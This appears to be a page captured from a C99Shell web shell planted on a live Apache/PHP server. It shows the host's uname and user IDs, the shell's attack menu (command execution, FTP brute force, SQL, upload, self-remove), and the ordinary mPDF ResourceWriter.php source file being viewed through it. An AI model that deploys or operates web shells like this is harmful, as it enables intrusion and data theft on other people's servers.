!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/vendor/mpdf/mpdf/src/Writer/   drwxr-xr-x
Free 25.28 GB of 117.98 GB (21.43%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ResourceWriter.php (6.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Mpdf\Writer;

use 
Mpdf\Strict;
use 
Mpdf\Mpdf;
use 
Psr\Log\LoggerInterface;

final class 
ResourceWriter implements \Psr\Log\LoggerAwareInterface
{

    use 
Strict;

    
/**
     * @var \Mpdf\Mpdf
     */
    
private $mpdf;

    
/**
     * @var \Mpdf\Writer\BaseWriter
     */
    
private $writer;

    
/**
     * @var \Mpdf\Writer\ColorWriter
     */
    
private $colorWriter;

    
/**
     * @var \Mpdf\Writer\FontWriter
     */
    
private $fontWriter;

    
/**
     * @var \Mpdf\Writer\ImageWriter
     */
    
private $imageWriter;

    
/**
     * @var \Mpdf\Writer\FormWriter
     */
    
private $formWriter;

    
/**
     * @var \Mpdf\Writer\OptionalContentWriter
     */
    
private $optionalContentWriter;

    
/**
     * @var \Mpdf\Writer\BackgroundWriter
     */
    
private $backgroundWriter;

    
/**
     * @var \Mpdf\Writer\BookmarkWriter
     */
    
private $bookmarkWriter;

    
/**
     * @var \Mpdf\Writer\MetadataWriter
     */
    
private $metadataWriter;

    
/**
     * @var \Mpdf\Writer\JavaScriptWriter
     */
    
private $javaScriptWriter;

    
/**
     * @var \Psr\Log\LoggerInterface
     */
    
private $logger;

    public function 
__construct(
        
Mpdf $mpdf,
        
BaseWriter $writer,
        
ColorWriter $colorWriter,
        
FontWriter $fontWriter,
        
ImageWriter $imageWriter,
        
FormWriter $formWriter,
        
OptionalContentWriter $optionalContentWriter,
        
BackgroundWriter $backgroundWriter,
        
BookmarkWriter $bookmarkWriter,
        
MetadataWriter $metadataWriter,
        
JavaScriptWriter $javaScriptWriter,
        
LoggerInterface $logger
    
) {
        
$this->mpdf $mpdf;
        
$this->writer $writer;
        
$this->colorWriter $colorWriter;
        
$this->fontWriter $fontWriter;
        
$this->imageWriter $imageWriter;
        
$this->formWriter $formWriter;
        
$this->optionalContentWriter $optionalContentWriter;
        
$this->backgroundWriter $backgroundWriter;
        
$this->bookmarkWriter $bookmarkWriter;
        
$this->metadataWriter $metadataWriter;
        
$this->javaScriptWriter $javaScriptWriter;
        
$this->logger $logger;
    }

    public function 
writeResources() // _putresources
    
{
        if (
$this->mpdf->hasOC || count($this->mpdf->layers)) {
            
$this->optionalContentWriter->writeOptionalContentGroups();
        }

        
$this->mpdf->_putextgstates();
        
$this->colorWriter->writeSpotColors();

        
// @log Compiling Fonts

        
$this->fontWriter->writeFonts();

        
// @log Compiling Images

        
$this->imageWriter->writeImages();

        
$this->formWriter->writeFormObjects();

        
$this->mpdf->writeImportedPagesAndResolvedObjects();

        
$this->backgroundWriter->writeShaders();
        
$this->backgroundWriter->writePatterns();

        
// Resource dictionary
        
$this->mpdf->offsets[2] = strlen($this->mpdf->buffer);
        
$this->writer->write('2 0 obj');
        
$this->writer->write('<</ProcSet [/PDF /Text /ImageB /ImageC /ImageI]');

        
$this->writer->write('/Font <<');
        foreach (
$this->mpdf->fonts as $font) {
            if (isset(
$font['type']) && $font['type'] === 'TTF' && !$font['used']) {
                continue;
            }
            if (isset(
$font['type']) && $font['type'] === 'TTF' && ($font['sip'] || $font['smp'])) {
                foreach (
$font['n'] as $k => $fid) {
                    
$this->writer->write('/F' $font['subsetfontids'][$k] . ' ' $font['n'][$k] . ' 0 R');
                }
            } else {
                
$this->writer->write('/F' $font['i'] . ' ' $font['n'] . ' 0 R');
            }
        }
        
$this->writer->write('>>');

        if (
count($this->mpdf->spotColors)) {
            
$this->writer->write('/ColorSpace <<');
            foreach (
$this->mpdf->spotColors as $color) {
                
$this->writer->write('/CS' $color['i'] . ' ' $color['n'] . ' 0 R');
            }
            
$this->writer->write('>>');
        }

        if (
count($this->mpdf->extgstates)) {
            
$this->writer->write('/ExtGState <<');
            foreach (
$this->mpdf->extgstates as $k => $extgstate) {
                if (isset(
$extgstate['trans'])) {
                    
$this->writer->write('/' $extgstate['trans'] . ' ' $extgstate['n'] . ' 0 R');
                } else {
                    
$this->writer->write('/GS' $k ' ' $extgstate['n'] . ' 0 R');
                }
            }
            
$this->writer->write('>>');
        }

        
/* -- BACKGROUNDS -- */
        
if (($this->mpdf->gradients !== null && (count($this->mpdf->gradients) > 0))) { // mPDF 5.7.3

            
$this->writer->write('/Shading <<');

            foreach (
$this->mpdf->gradients as $id => $grad) {
                
$this->writer->write('/Sh' $id ' ' $grad['id'] . ' 0 R');
            }

            
$this->writer->write('>>');

            
/*
              // ??? Not needed !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
              $this->writer->write('/Pattern <<');
              foreach ($this->mpdf->gradients as $id => $grad) {
              $this->writer->write('/P'.$id.' '.$grad['pattern'].' 0 R');
              }
              $this->writer->write('>>');
             */
        
}
        
/* -- END BACKGROUNDS -- */

        
if (count($this->mpdf->images) || count($this->mpdf->formobjects) || count($this->mpdf->getImportedPages())) {
            
$this->writer->write('/XObject <<');
            foreach (
$this->mpdf->images as $image) {
                
$this->writer->write('/I' $image['i'] . ' ' $image['n'] . ' 0 R');
            }
            foreach (
$this->mpdf->formobjects as $formobject) {
                
$this->writer->write('/FO' $formobject['i'] . ' ' $formobject['n'] . ' 0 R');
            }
            
/* -- IMPORTS -- */
            
foreach ($this->mpdf->getImportedPages() as $pageData) {
                
$this->writer->write('/' $pageData['id'] . ' ' $pageData['objectNumber'] . ' 0 R');
            }
            
/* -- END IMPORTS -- */
            
$this->writer->write('>>');
        }

        
/* -- BACKGROUNDS -- */

        
if (count($this->mpdf->patterns)) {
            
$this->writer->write('/Pattern <<');
            foreach (
$this->mpdf->patterns as $k => $patterns) {
                
$this->writer->write('/P' $k ' ' $patterns['n'] . ' 0 R');
            }
            
$this->writer->write('>>');
        }
        
/* -- END BACKGROUNDS -- */

        
if ($this->mpdf->hasOC || count($this->mpdf->layers)) {
            
$this->writer->write('/Properties <<');
            if (
$this->mpdf->hasOC) {
                
$this->writer->write('/OC1 ' $this->mpdf->n_ocg_print ' 0 R /OC2 ' $this->mpdf->n_ocg_view ' 0 R /OC3 ' $this->mpdf->n_ocg_hidden ' 0 R ');
            }
            if (
count($this->mpdf->layers)) {
                foreach (
$this->mpdf->layers as $id => $layer) {
                    
$this->writer->write('/ZI' $id ' ' $layer['n'] . ' 0 R');
                }
            }
            
$this->writer->write('>>');
        }

        
$this->writer->write('>>');
        
$this->writer->write('endobj'); // end resource dictionary

        
$this->bookmarkWriter->writeBookmarks();

        if (!empty(
$this->mpdf->js)) {
            
$this->javaScriptWriter->writeJavascript();
        }

        if (
$this->mpdf->encrypted) {
            
$this->writer->object();
            
$this->mpdf->enc_obj_id $this->mpdf->n;
            
$this->writer->write('<<');
            
$this->metadataWriter->writeEncryption();
            
$this->writer->write('>>');
            
$this->writer->write('endobj');
        }
    }

    
/**
     * @param \Psr\Log\LoggerInterface $logger
     *
     * @return void
     */
    
public function setLogger(LoggerInterface $logger)
    {
        
$this->logger $logger;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--